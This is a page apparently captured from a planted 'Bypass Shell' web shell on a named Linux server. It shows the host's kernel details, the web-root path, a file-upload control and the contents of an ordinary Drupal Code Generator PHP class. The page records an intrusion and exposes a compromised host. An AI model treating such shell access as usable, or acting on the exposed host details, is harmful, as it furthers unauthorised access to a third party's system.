Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/c12park/vendor/chi-teck/drupal-code-generator/src/Command/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/c12park/vendor/chi-teck/drupal-code-generator/src/Command/RenderElement.php

<?php

declare(strict_types=1);

namespace DrupalCodeGenerator\Command;

use DrupalCodeGenerator\Application;
use DrupalCodeGenerator\Asset\Assets;
use DrupalCodeGenerator\Attribute\Generator;
use DrupalCodeGenerator\GeneratorType;
use DrupalCodeGenerator\Validator\RequiredMachineName;

#[Generator(
  name: 'render-element',
  description: 'Generates Drupal render element',
  templatePath: Application::TEMPLATE_PATH . '/_render-element',
  type: GeneratorType::MODULE_COMPONENT,
)]
final class RenderElement extends BaseGenerator {

  /**
   * {@inheritdoc}
   */
  protected function generate(array &$vars, Assets $assets): void {
    $ir = $this->createInterviewer($vars);
    $vars['machine_name'] = $ir->askMachineName();
    $vars['type'] = $ir->ask('Element ID (#type)', validator: new RequiredMachineName());
    $vars['class'] = $ir->askClass(default: '{type|camelize}');
    $assets->addFile('src/Element/{class}.php', 'render-element.twig');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net